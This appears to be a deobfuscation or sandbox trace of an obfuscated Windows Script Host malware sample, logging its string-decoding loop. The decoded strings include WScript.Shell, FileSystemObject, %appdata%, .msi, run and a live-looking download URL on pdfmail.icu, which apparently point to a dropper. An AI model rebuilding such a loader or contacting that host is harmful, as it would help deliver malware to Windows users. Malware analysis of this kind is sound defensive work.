_0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ "MoveFile" [object Object].RaSSU( function parseInt(),"MoveFile") ➔ NaN [object Object].HgWtq(NaN,3) ➔ NaN [object Object].jLsFb(NaN,NaN) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "floor" [object Object].XVrna( function parseInt(),"floor") ➔ NaN [object Object].HgWtq(NaN,4) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "Scripting.FileSystemObject" [object Object].rJxPh( function parseInt(),"Scripting.FileSystemObject") ➔ NaN [object Object].HgWtq(NaN,5) ➔ NaN [object Object].lvUBa(NaN,NaN) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "Update" [object Object].OCAGc( function parseInt(),"Update") ➔ NaN [object Object].HgWtq(NaN,6) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "ExpandEnvironmentStrings" [object Object].UFbpM( function parseInt(),"ExpandEnvironmentStrings") ➔ NaN [object Object].nPimM(NaN,7) ➔ NaN [object Object].vsbOQ(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "1120572YyGyRt" [object Object].qUuin( function parseInt(),"1120572YyGyRt") ➔ 1120572 [object Object].HgWtq(-1120572,8) ➔ -140071.5 _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "5626176BtLaPl" [object Object].fIpzm( function parseInt(),"5626176BtLaPl") ➔ 5626176 [object Object].HgWtq(-5626176,9) ➔ -625130.6666666666 [object Object].vsbOQ(-140071.5,-625130.6666666666) ➔ 87562990176 [object Object].JslXL(NaN,87562990176) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "2056vIbDps" [object Object].kpAZy( function parseInt(),"2056vIbDps") ➔ 2056 [object Object].eIWnP(-2056,10) ➔ -205.6 _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "1409821jbmjgp" [object Object].fSxJR( function parseInt(),"1409821jbmjgp") ➔ 1409821 [object Object].WeHtk(-1409821,11) ➔ -128165.54545454545 [object Object].TjxwE(-205.6,-128165.54545454545) ➔ 26350836.145454544 [object Object].vvzcH(NaN,26350836.145454544) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "toString" [object Object].fSxJR( function parseInt(),"toString") ➔ NaN [object Object].nPimM(NaN,12) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false _0x29440f(170) ➔ "DuEPK" _0x29440f(132) ➔ "aATaN" _0x29440f(221) ➔ "vvzcH" _0x29440f(156) ➔ "JslXL" _0x29440f(156) ➔ "JslXL" _0x29440f(206) ➔ "WgXPf" _0x29440f(113) ➔ "jLsFb" _0x29440f(212) ➔ "hJYHH" _0x29440f(220) ➔ "HgWtq" _0x29440f(121) ➔ "CwkEI" _0x29440f(225) ➔ "dcFFV" [object Object].dcFFV(function _0x2ab9(_0x3d644b, _0x307467),168) ➔ "672507TXAorh" [object Object].CwkEI( function parseInt(),"672507TXAorh") ➔ 672507 [object Object].HgWtq(672507,1) ➔ 672507 _0x29440f(136) ➔ "etQhA" _0x29440f(155) ➔ "fIpzm" _0x29440f(173) ➔ "eaDJS" [object Object].eaDJS(function _0x2ab9(_0x3d644b, _0x307467),171) ➔ "WScript.Shell" [object Object].fIpzm( function parseInt(),"WScript.Shell") ➔ NaN [object Object].etQhA(NaN,2) ➔ NaN [object Object].hJYHH(672507,NaN) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(182) ➔ "RaSSU" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ "2178279nqcShX" [object Object].RaSSU( function parseInt(),"2178279nqcShX") ➔ 2178279 [object Object].HgWtq(-2178279,3) ➔ -726093 [object Object].jLsFb(NaN,-726093) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "%appdata%" [object Object].XVrna( function parseInt(),"%appdata%") ➔ NaN [object Object].HgWtq(NaN,4) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "1409821jbmjgp" [object Object].rJxPh( function parseInt(),"1409821jbmjgp") ➔ 1409821 [object Object].HgWtq(1409821,5) ➔ 281964.2 [object Object].lvUBa(NaN,281964.2) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "2056vIbDps" [object Object].OCAGc( function parseInt(),"2056vIbDps") ➔ 2056 [object Object].HgWtq(2056,6) ➔ 342.6666666666667 _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "197dJYSYr" [object Object].UFbpM( function parseInt(),"197dJYSYr") ➔ 197 [object Object].nPimM(-197,7) ➔ -28.142857142857142 [object Object].vsbOQ(342.6666666666667,-28.142857142857142) ➔ -9643.619047619047 [object Object].JslXL(NaN,-9643.619047619047) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "floor" [object Object].qUuin( function parseInt(),"floor") ➔ NaN [object Object].HgWtq(NaN,8) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "8KApWDK" [object Object].fIpzm( function parseInt(),"8KApWDK") ➔ 8 [object Object].HgWtq(-8,9) ➔ -0.8888888888888888 [object Object].vsbOQ(NaN,-0.8888888888888888) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "toString" [object Object].kpAZy( function parseInt(),"toString") ➔ NaN [object Object].eIWnP(NaN,10) ➔ NaN _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "Sleep" [object Object].fSxJR( function parseInt(),"Sleep") ➔ NaN [object Object].WeHtk(NaN,11) ➔ NaN [object Object].TjxwE(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "1120572YyGyRt" [object Object].fSxJR( function parseInt(),"1120572YyGyRt") ➔ 1120572 [object Object].nPimM(1120572,12) ➔ 93381 [object Object].aATaN(NaN,93381) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false _0x29440f(170) ➔ "DuEPK" _0x29440f(132) ➔ "aATaN" _0x29440f(221) ➔ "vvzcH" _0x29440f(156) ➔ "JslXL" _0x29440f(156) ➔ "JslXL" _0x29440f(206) ➔ "WgXPf" _0x29440f(113) ➔ "jLsFb" _0x29440f(212) ➔ "hJYHH" _0x29440f(220) ➔ "HgWtq" _0x29440f(121) ➔ "CwkEI" _0x29440f(225) ➔ "dcFFV" [object Object].dcFFV(function _0x2ab9(_0x3d644b, _0x307467),168) ➔ "http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44" [object Object].CwkEI( function parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44") ➔ NaN [object Object].HgWtq(NaN,1) ➔ NaN _0x29440f(136) ➔ "etQhA" _0x29440f(155) ➔ "fIpzm" _0x29440f(173) ➔ "eaDJS" [object Object].eaDJS(function _0x2ab9(_0x3d644b, _0x307467),171) ➔ "MoveFile" [object Object].fIpzm( function parseInt(),"MoveFile") ➔ NaN [object Object].etQhA(NaN,2) ➔ NaN [object Object].hJYHH(NaN,NaN) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(182) ➔ "RaSSU" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ ".msi" [object Object].RaSSU( function parseInt(),".msi") ➔ NaN [object Object].HgWtq(NaN,3) ➔ NaN [object Object].jLsFb(NaN,NaN) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "60VFfyja" [object Object].XVrna( function parseInt(),"60VFfyja") ➔ 60 [object Object].HgWtq(-60,4) ➔ -15 _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "Sleep" [object Object].rJxPh( function parseInt(),"Sleep") ➔ NaN [object Object].HgWtq(NaN,5) ➔ NaN [object Object].lvUBa(-15,NaN) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "toString" [object Object].OCAGc( function parseInt(),"toString") ➔ NaN [object Object].HgWtq(NaN,6) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "length" [object Object].UFbpM( function parseInt(),"length") ➔ NaN [object Object].nPimM(NaN,7) ➔ NaN [object Object].vsbOQ(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "%appdata%" [object Object].qUuin( function parseInt(),"%appdata%") ➔ NaN [object Object].HgWtq(NaN,8) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "48772LGjEnw" [object Object].fIpzm( function parseInt(),"48772LGjEnw") ➔ 48772 [object Object].HgWtq(-48772,9) ➔ -5419.111111111111 [object Object].vsbOQ(NaN,-5419.111111111111) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "1120572YyGyRt" [object Object].kpAZy( function parseInt(),"1120572YyGyRt") ➔ 1120572 [object Object].eIWnP(-1120572,10) ➔ -112057.2 _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "random" [object Object].fSxJR( function parseInt(),"random") ➔ NaN [object Object].WeHtk(NaN,11) ➔ NaN [object Object].TjxwE(-112057.2,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "floor" [object Object].fSxJR( function parseInt(),"floor") ➔ NaN [object Object].nPimM(NaN,12) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false _0x29440f(170) ➔ "DuEPK" _0x29440f(132) ➔ "aATaN" _0x29440f(221) ➔ "vvzcH" _0x29440f(156) ➔ "JslXL" _0x29440f(156) ➔ "JslXL" _0x29440f(206) ➔ "WgXPf" _0x29440f(113) ➔ "jLsFb" _0x29440f(212) ➔ "hJYHH" _0x29440f(220) ➔ "HgWtq" _0x29440f(121) ➔ "CwkEI" _0x29440f(225) ➔ "dcFFV" [object Object].dcFFV(function _0x2ab9(_0x3d644b, _0x307467),168) ➔ "run" [object Object].CwkEI( function parseInt(),"run") ➔ NaN [object Object].HgWtq(NaN,1) ➔ NaN _0x29440f(136) ➔ "etQhA" _0x29440f(155) ➔ "fIpzm" _0x29440f(173) ➔ "eaDJS" [object Object].eaDJS(function _0x2ab9(_0x3d644b, _0x307467),171) ➔ "2178279nqcShX" [object Object].fIpzm( function parseInt(),"2178279nqcShX") ➔ 2178279 [object Object].etQhA(2178279,2) ➔ 1089139.5 [object Object].hJYHH(NaN,1089139.5) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(182) ➔ "RaSSU" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ "Scripting.FileSystemObject" [object Object].RaSSU( function parseInt(),"Scripting.FileSystemObject") ➔ NaN [object Object].HgWtq(NaN,3) ➔ NaN [object Object].jLsFb(NaN,NaN) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "672507TXAorh" [object Object].XVrna( function parseInt(),"672507TXAorh") ➔ 672507 [object Object].HgWtq(-672507,4) ➔ -168126.75 _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "random" [object Object].rJxPh( function parseInt(),"random") ➔ NaN [object Object].HgWtq(NaN,5) ➔ NaN [object Object].lvUBa(-168126.75,NaN) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "1120572YyGyRt" [object Object].OCAGc( function parseInt(),"1120572YyGyRt") ➔ 1120572 [object Object].HgWtq(1120572,6) ➔ 186762 _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "Update" [object Object].UFbpM( function parseInt(),"Update") ➔ NaN [object Object].nPimM(NaN,7) ➔ NaN [object Object].vsbOQ(186762,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "60VFfyja" [object Object].qUuin( function parseInt(),"60VFfyja") ➔ 60 [object Object].HgWtq(-60,8) ➔ -7.5 _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "ExpandEnvironmentStrings" [object Object].fIpzm( function parseInt(),"ExpandEnvironmentStrings") ➔ NaN [object Object].HgWtq(NaN,9) ➔ NaN [object Object].vsbOQ(-7.5,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "floor" [object Object].kpAZy( function parseInt(),"floor") ➔ NaN [object Object].eIWnP(NaN,10) ➔ NaN _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "6MWZToe" [object Object].fSxJR( function parseInt(),"6MWZToe") ➔ 6 [object Object].WeHtk(-6,11) ➔ -0.5454545454545454 [object Object].TjxwE(NaN,-0.5454545454545454) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "%appdata%" [object Object].fSxJR( function parseInt(),"%appdata%") ➔ NaN [object Object].nPimM(NaN,12) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false _0x29440f(170) ➔ "DuEPK" _0x29440f(132) ➔ "aATaN" _0x29440f(221) ➔ "vvzcH" _0x29440f(156) ➔ "JslXL" _0x29440f(156) ➔ "JslXL" _0x29440f(206) ➔ "WgXPf" _0x29440f(113) ➔ "jLsFb" _0x29440f(212) ➔ "hJYHH" _0x29440f(220) ➔ "HgWtq" _0x29440f(121) ➔ "CwkEI" _0x29440f(225) ➔ "dcFFV" [object Object].dcFFV(function _0x2ab9(_0x3d644b, _0x307467),168) ➔ "WScript.Shell" [object Object].CwkEI( function parseInt(),"WScript.Shell") ➔ NaN [object Object].HgWtq(NaN,1) ➔ NaN _0x29440f(136) ➔ "etQhA" _0x29440f(155) ➔ "fIpzm" _0x29440f(173) ➔ "eaDJS" [object Object].eaDJS(function _0x2ab9(_0x3d644b, _0x307467),171) ➔ ".msi" [object Object].fIpzm( function parseInt(),".msi") ➔ NaN [object Object].etQhA(NaN,2) ➔ NaN [object Object].hJYHH(NaN,NaN) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(182) ➔ "RaSSU" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ "1409821jbmjgp" [object Object].RaSSU( function parseInt(),"1409821jbmjgp") ➔ 1409821 [object Object].HgWtq(-1409821,3) ➔ -469940.3333333333 [object Object].jLsFb(NaN,-469940.3333333333) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44" [object Object].XVrna( function parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44") ➔ NaN [object Object].HgWtq(NaN,4) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "6MWZToe" [object Object].rJxPh( function parseInt(),"6MWZToe") ➔ 6 [object Object].HgWtq(6,5) ➔ 1.2 [object Object].lvUBa(NaN,1.2) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "floor" [object Object].OCAGc( function parseInt(),"floor") ➔ NaN [object Object].HgWtq(NaN,6) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "2056vIbDps" [object Object].UFbpM( function parseInt(),"2056vIbDps") ➔ 2056 [object Object].nPimM(-2056,7) ➔ -293.7142857142857 [object Object].vsbOQ(NaN,-293.7142857142857) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "672507TXAorh" [object Object].qUuin( function parseInt(),"672507TXAorh") ➔ 672507 [object Object].HgWtq(-672507,8) ➔ -84063.375 _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "197dJYSYr" [object Object].fIpzm( function parseInt(),"197dJYSYr") ➔ 197 [object Object].HgWtq(-197,9) ➔ -21.88888888888889 [object Object].vsbOQ(-84063.375,-21.88888888888889) ➔ 1840053.875 [object Object].JslXL(NaN,1840053.875) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "%appdata%" [object Object].kpAZy( function parseInt(),"%appdata%") ➔ NaN [object Object].eIWnP(NaN,10) ➔ NaN _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "10CdYxPx" [object Object].fSxJR( function parseInt(),"10CdYxPx") ➔ 10 [object Object].WeHtk(-10,11) ➔ -0.9090909090909091 [object Object].TjxwE(NaN,-0.9090909090909091) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "60VFfyja" [object Object].fSxJR( function parseInt(),"60VFfyja") ➔ 60 [object Object].nPimM(60,12) ➔ 5 [object Object].aATaN(NaN,5) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false _0x29440f(170) ➔ "DuEPK" _0x29440f(132) ➔ "aATaN" _0x29440f(221) ➔ "vvzcH" _0x29440f(156) ➔ "JslXL" _0x29440f(156) ➔ "JslXL" _0x29440f(206) ➔ "WgXPf" _0x29440f(113) ➔ "jLsFb" _0x29440f(212) ➔ "hJYHH" _0x29440f(220) ➔ "HgWtq" _0x29440f(121) ➔ "CwkEI" _0x29440f(225) ➔ "dcFFV" [object Object].dcFFV(function _0x2ab9(_0x3d644b, _0x307467),168) ➔ "MoveFile" [object Object].CwkEI( function parseInt(),"MoveFile") ➔ NaN [object Object].HgWtq(NaN,1) ➔ NaN _0x29440f(136) ➔ "etQhA" _0x29440f(155) ➔ "fIpzm" _0x29440f(173) ➔ "eaDJS" [object Object].eaDJS(function _0x2ab9(_0x3d644b, _0x307467),171) ➔ "Scripting.FileSystemObject" [object Object].fIpzm( function parseInt(),"Scripting.FileSystemObject") ➔ NaN [object Object].etQhA(NaN,2) ➔ NaN [object Object].hJYHH(NaN,NaN) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(182) ➔ "RaSSU" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),173) ➔ "Sleep" [object Object].RaSSU( function parseInt(),"Sleep") ➔ NaN [object Object].HgWtq(NaN,3) ➔ NaN [object Object].jLsFb(NaN,NaN) ➔ NaN _0x29440f(139) ➔ "lvUBa" _0x29440f(220) ➔ "HgWtq" _0x29440f(143) ➔ "XVrna" _0x29440f(188) ➔ "yrpmF" [object Object].yrpmF(function _0x2ab9(_0x3d644b, _0x307467),166) ➔ "run" [object Object].XVrna( function parseInt(),"run") ➔ NaN [object Object].HgWtq(NaN,4) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(232) ➔ "rJxPh" _0x29440f(115) ➔ "jyrJQ" [object Object].jyrJQ(function _0x2ab9(_0x3d644b, _0x307467),176) ➔ "10CdYxPx" [object Object].rJxPh( function parseInt(),"10CdYxPx") ➔ 10 [object Object].HgWtq(10,5) ➔ 2 [object Object].lvUBa(NaN,2) ➔ NaN [object Object].WgXPf(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(207) ➔ "OCAGc" _0x29440f(121) ➔ "CwkEI" [object Object].CwkEI(function _0x2ab9(_0x3d644b, _0x307467),162) ➔ "%appdata%" [object Object].OCAGc( function parseInt(),"%appdata%") ➔ NaN [object Object].HgWtq(NaN,6) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(154) ➔ "UFbpM" _0x29440f(143) ➔ "XVrna" [object Object].XVrna(function _0x2ab9(_0x3d644b, _0x307467),159) ➔ "toString" [object Object].UFbpM( function parseInt(),"toString") ➔ NaN [object Object].nPimM(NaN,7) ➔ NaN [object Object].vsbOQ(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(216) ➔ "vsbOQ" _0x29440f(220) ➔ "HgWtq" _0x29440f(215) ➔ "qUuin" _0x29440f(187) ➔ "QruWT" [object Object].QruWT(function _0x2ab9(_0x3d644b, _0x307467),165) ➔ "http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44" [object Object].qUuin( function parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44") ➔ NaN [object Object].HgWtq(NaN,8) ➔ NaN _0x29440f(220) ➔ "HgWtq" _0x29440f(155) ➔ "fIpzm" _0x29440f(227) ➔ "TmYkb" [object Object].TmYkb(function _0x2ab9(_0x3d644b, _0x307467),156) ➔ "length" [object Object].fIpzm( function parseInt(),"length") ➔ NaN [object Object].HgWtq(NaN,9) ➔ NaN [object Object].vsbOQ(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN _0x29440f(140) ➔ "TjxwE" _0x29440f(128) ➔ "eIWnP" _0x29440f(131) ➔ "kpAZy" _0x29440f(155) ➔ "fIpzm" [object Object].fIpzm(function _0x2ab9(_0x3d644b, _0x307467),163) ➔ "60VFfyja" [object Object].kpAZy( function parseInt(),"60VFfyja") ➔ 60 [object Object].eIWnP(-60,10) ➔ -6 _0x29440f(168) ➔ "WeHtk" _0x29440f(164) ➔ "fSxJR" _0x29440f(149) ➔ "VgbsE" [object Object].VgbsE(function _0x2ab9(_0x3d644b, _0x307467),177) ➔ "5626176BtLaPl" [object Object].fSxJR( function parseInt(),"5626176BtLaPl") ➔ 5626176 [object Object].WeHtk(-5626176,11) ➔ -511470.54545454547 [object Object].TjxwE(-6,-511470.54545454547) ➔ 3068823.272727273 [object Object].vvzcH(NaN,3068823.272727273) ➔ NaN _0x29440f(231) ➔ "nPimM" _0x29440f(164) ➔ "fSxJR" _0x29440f(137) ➔ "yLMjB" [object Object].yLMjB(function _0x2ab9(_0x3d644b, _0x307467),164) ➔ "672507TXAorh" [object Object].fSxJR( function parseInt(),"672507TXAorh") ➔ 672507 [object Object].nPimM(672507,12) ➔ 56042.25 [object Object].aATaN(NaN,56042.25) ➔ NaN [object Object].DuEPK(253289,NaN) ➔ false
142	break ;
